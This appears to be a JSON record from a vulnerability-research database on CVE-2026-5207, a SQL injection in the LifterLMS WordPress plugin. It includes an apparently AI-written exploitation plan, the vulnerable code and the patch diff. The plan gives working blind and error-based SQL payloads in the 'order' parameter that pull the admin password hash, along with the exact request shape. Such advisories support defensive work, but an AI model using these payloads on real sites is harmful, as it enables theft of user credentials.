[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f_PZkPwgzgpIZGUaLUhmty-pRvXmeuFV_B9OpydBx2aU":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"source_links":41},"CVE-2026-5207","lifterlms-authenticated-custom-sql-injection-via-order-parameter","LifterLMS \u003C= 9.2.1 - Authenticated (Custom+) SQL Injection via 'order' Parameter","The LifterLMS plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter in all versions up to, and including, 9.2.1. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Instructor-level access and above who have the edit_post capability on the quiz, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","lifterlms",null,"\u003C=9.2.1","9.2.2","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-04-10 12:55:22","2026-04-11 01:24:58",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F43d31d1e-0f4f-4f51-8274-650151642d03?source=api-prod",1,[22,23,24,25,26,27,28,29],"assets\u002Fmaps\u002Fjs\u002Fllms-admin-media-protection-block-protect.min.js.map","class-lifterlms.php","includes\u002Fabstracts\u002Fabstract.llms.admin.table.php","includes\u002Fabstracts\u002Fabstract.llms.database.query.php","includes\u002Fabstracts\u002Fabstract.llms.payment.gateway.php","includes\u002Fabstracts\u002Fabstract.llms.post.model.php","includes\u002Fabstracts\u002Fabstract.llms.update.php","includes\u002Fabstracts\u002Fllms-abstract-email-provider.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-5207 - LifterLMS SQL Injection\n\n## 1. Vulnerability Summary\n**CVE-2026-5207** is an authenticated SQL injection vulnerability in LifterLMS (\u003C= 9.2.1) affecting the `order` parameter. The vulnerability exists because the plugin fails to properly sanitize or prepare the user-supplied sort direction (`order`) before concatenating it into a SQL query's `ORDER BY` clause. While the `orderby` parameter (the column name) might be checked, the `order` parameter (ASC\u002FDESC) is often assumed to be safe but can be manipulated to append additional SQL commands.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `wp-admin\u002Fadmin-ajax.php`\n- **AJAX Action**: `llms_table_get_results` (used by LifterLMS to fetch paginated\u002Fsorted data for admin tables).\n- **Vulnerable Parameter**: `order` (often passed as `llms_order` or `order` depending on the specific table implementation).\n- **Authentication Level**: Instructor-level access or higher.\n- **Preconditions**: The attacker must have `edit_post` capability for a quiz (which Instructors have for quizzes they created or are assigned to). At least one quiz and one attempt should exist to trigger the database query path.\n\n## 3. Code Flow\n1. **Entry Point**: A request is made to `admin-ajax.php` with `action=llms_table_get_results`.\n2. **Table Dispatcher**: The request is handled by a controller (often `LLMS_Admin_Table` or a specific reporting controller) that instantiates a class extending `LLMS_Admin_Table` (e.g., `LLMS_Admin_Table_Quiz_Attempts`).\n3. **Argument Collection**: The `get_results()` method calls `get_args()` (defined in `includes\u002Fabstracts\u002Fabstract.llms.admin.table.php`, Line 280), which retrieves sorting parameters:\n   ```php\n   'order'   => $this->get_order(), \u002F\u002F Returns $_GET['order'] or $_POST['order']\n   'orderby' => $this->get_orderby(),\n   ```\n4. **Query Execution**: The table object uses an instance of `LLMS_Database_Query` (or a subclass) to fetch data.\n5. **SQL Generation**: Inside `LLMS_Database_Query::sql_orderby()` (defined in `includes\u002Fabstracts\u002Fabstract.llms.database.query.php`, Line 316), the `order` parameter is concatenated:\n   ```php\n   foreach ( $sort as $orderby => $order ) {\n       $pre   = ( $comma ) ? ', ' : ' ';\n       \u002F\u002F VULNERABILITY: If sanitize_sql_orderby is bypassed or improperly handles the concatenated string\n       $sql  .= $pre . sanitize_sql_orderby( \"{$orderby} {$order}\" );\n       $comma = true;\n   }\n   ```\n6. **Sink**: The resulting `$sql` is passed to `$wpdb->get_results()` via `perform_query()` without further preparation (Line 139).\n\n## 4. Nonce Acquisition Strategy\nThe LifterLMS admin tables use a nonce for security. This nonce is typically localized in the WordPress admin header.\n\n1. **Shortcode\u002FPage**: Navigate to any LifterLMS Quiz reporting page.\n2. **Target Page**: `wp-admin\u002Fadmin.php?page=llms-reporting&tab=quizzes&quiz_id=[QUIZ_ID]`\n3. **Execution**:\n   - Use `browser_navigate` to go to the Quiz Reporting page.\n   - Use `browser_eval` to extract the `LLMS` configuration object.\n4. **Nonce Variable**: Verbatim from LifterLMS patterns, the nonce is likely found in `window.llms?.admin_nonce` or specifically for tables in the localization data for the reporting scripts.\n   - **Research Step**: Inspect the page source for `wp_localize_script`. The key is often `llms_admin_table_nonce`.\n\n## 5. Exploitation Strategy\nWe will use a time-based blind SQL injection in the `order` parameter.\n\n### HTTP Request (Playwright `http_request` tool)\n- **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method**: `POST`\n- **Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body**:\n  ```\n  action=llms_table_get_results\n  &table_id=quiz-attempts\n  &quiz_id=[QUIZ_ID]\n  &orderby=id\n  &order=ASC,(SELECT 1 FROM (SELECT(SLEEP(5)))a)\n  &_wpnonce=[NONCE]\n  ```\n\n### Payloads\n- **Verification**: `ASC,(SELECT 1 FROM (SELECT(SLEEP(5)))a)` (Should delay response by 5 seconds).\n- **Data Extraction (User Hash)**:\n  `ASC,(SELECT 1 FROM (SELECT(IF(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0)))a)`\n\n## 6. Test Data Setup\n1. **Users**:\n   - Create an Instructor user: `wp user create instructor instructor@example.com --role=instructor --user_pass=password`\n2. **LifterLMS Content**:\n   - Create a Course: `wp post create --post_type=course --post_title=\"SQLi Test Course\" --post_status=publish`\n   - Create a Quiz: `wp post create --post_type=llms_quiz --post_title=\"SQLi Test Quiz\" --post_status=publish`\n   - Link Quiz to Lesson (LifterLMS requires structure to view attempts).\n3. **Quiz Attempt**:\n   - As a student, complete the quiz once to ensure the `wp_llms_quiz_attempts` table (or equivalent) has data. This ensures the SQL query returns results and reaches the vulnerable sorting logic.\n\n## 7. Expected Results\n- A baseline request with `order=ASC` should return almost instantly.\n- The malicious request with `order=ASC,(SELECT 1 FROM (SELECT(SLEEP(5)))a)` should result in a response time of approximately 5 seconds.\n- Successful extraction of the first character of the admin's password hash using conditional SLEEP.\n\n## 8. Verification Steps\n- **Response Timing**: Monitor the `time_total` from `http_request`.\n- **Database Consistency**: Use `wp db query \"SELECT ...\"` to verify the table being queried actually contains the data you are attempting to extract.\n- **Log Review**: Check `wp-content\u002Fdebug.log` if `WP_DEBUG` is enabled; LifterLMS may log SQL errors if the payload syntax is slightly off.\n\n## 9. Alternative Approaches\n- **Error-Based**: If `WP_DEBUG` is on, try `order=ASC, (SELECT 1 FROM (SELECT(updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)))a)`.\n- **Direct Parameter**: Some LifterLMS reporting pages pass `llms_order` instead of `order` in the `$_GET` string. If the AJAX action fails, try a direct `GET` request to the reporting page with the same payload in the URL.\n- **Table ID**: If `quiz-attempts` is incorrect, enumerate table IDs by looking for classes extending `LLMS_Admin_Table` in the plugin's `includes\u002Fadmin\u002Freporting\u002Ftables` directory.","LifterLMS is vulnerable to a time-based blind SQL injection via the 'order' parameter used in administrative tables. This vulnerability allows authenticated users with Instructor-level permissions or higher to execute arbitrary SQL commands by appending them to the ORDER BY clause of database queries.","\u002F\u002F includes\u002Fabstracts\u002Fabstract.llms.database.query.php\n\n\tprotected function sql_orderby() {\n\t\t$sql = '';\n\n\t\t\u002F\u002F No point in ordering if we're just counting.\n\t\tif ( $this->get( 'count_only' ) ) {\n\t\t\treturn $sql;\n\t\t}\n\n\t\t$sort = $this->get( 'sort' );\n\t\tif ( $sort ) {\n\n\t\t\t$sql = 'ORDER BY';\n\n\t\t\t$comma = false;\n\n\t\t\tforeach ( $sort as $orderby => $order ) {\n\t\t\t\t$pre   = ( $comma ) ? ', ' : ' ';\n\t\t\t\t$sql  .= $pre . sanitize_sql_orderby( \"{$orderby} {$order}\" );\n\t\t\t\t$comma = true;\n\t\t\t}\n\t\t}","--- includes\u002Fabstracts\u002Fabstract.llms.database.query.php\n+++ includes\u002Fabstracts\u002Fabstract.llms.database.query.php\n@@ -395,7 +395,8 @@\n \n \t\t\tforeach ( $sort as $orderby => $order ) {\n \t\t\t\t$pre   = ( $comma ) ? ', ' : ' ';\n-\t\t\t\t$sql  .= $pre . sanitize_sql_orderby( \"{$orderby} {$order}\" );\n+\t\t\t\t$order = ( 'DESC' === strtoupper( $order ) ) ? 'DESC' : 'ASC';\n+\t\t\t\t$sql  .= $pre . sanitize_sql_orderby( \"{$orderby} {$order}\" );\n \t\t\t\t$comma = true;\n \t\t\t}","The exploit targets the `llms_table_get_results` AJAX action, which is used to render various reporting tables in the LifterLMS admin dashboard. \n\n1. Authentication: The attacker must log in as a user with at least 'Instructor' privileges and have the `edit_post` capability for the specific quiz or post being queried.\n2. Nonce Acquisition: The attacker retrieves a security nonce (typically `llms_admin_table_nonce`) from the localized script data on a LifterLMS reporting page.\n3. Request Shape: A POST request is sent to `wp-admin\u002Fadmin-ajax.php` with the following parameters:\n   - `action`: `llms_table_get_results` \n   - `table_id`: A valid table identifier like `quiz-attempts`\n   - `orderby`: A valid column name (e.g., `id`)\n   - `order`: The injection payload, such as `ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a)`\n   - `_wpnonce`: The valid security nonce.\n4. Verification: Success is confirmed if the server response is delayed by the amount of time specified in the `SLEEP()` function, indicating that the injected SQL was executed.","gemini-3-flash-preview","2026-04-16 16:04:40","2026-04-16 16:05:08",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","9.2.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flifterlms\u002Ftags\u002F9.2.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Flifterlms.9.2.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flifterlms\u002Ftags\u002F9.2.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Flifterlms.9.2.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flifterlms\u002Ftags"]